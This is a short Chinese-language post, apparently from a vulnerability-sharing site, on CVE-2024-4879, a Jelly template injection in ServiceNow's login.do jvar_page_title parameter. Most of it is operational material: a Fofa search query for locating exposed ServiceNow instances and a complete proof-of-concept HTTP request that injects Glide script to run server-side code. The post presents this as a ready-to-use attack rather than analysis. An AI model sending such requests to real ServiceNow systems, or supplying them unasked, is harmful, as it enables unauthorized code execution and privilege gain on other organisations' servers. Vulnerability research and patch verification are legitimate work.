ServiceNowUI Macros CVE-2024-4879 模板注入漏洞

8个月前发布

Fofa语句；

icon_hash="1701804003" || title="servicenow"

ServiceNow UI Macros是ServiceNow平台上的一个强大工具,可以帮助开发人员快速创建和自定义用户界面元素。UI Macros为用户提供了一组预定义的UI组件,如按钮、文本框、下拉框等,开发人员可以直接在应用程序中使用这些组件,而不需要从头开始编写HTML和CSS代码。其接口jvar_page_title存在模板注入漏洞，攻击者课通过该漏洞获取系统权限。

POC：

GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(999*999);</g:evaluate></j:jelly></style> HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close

评分

欢迎为Ta评分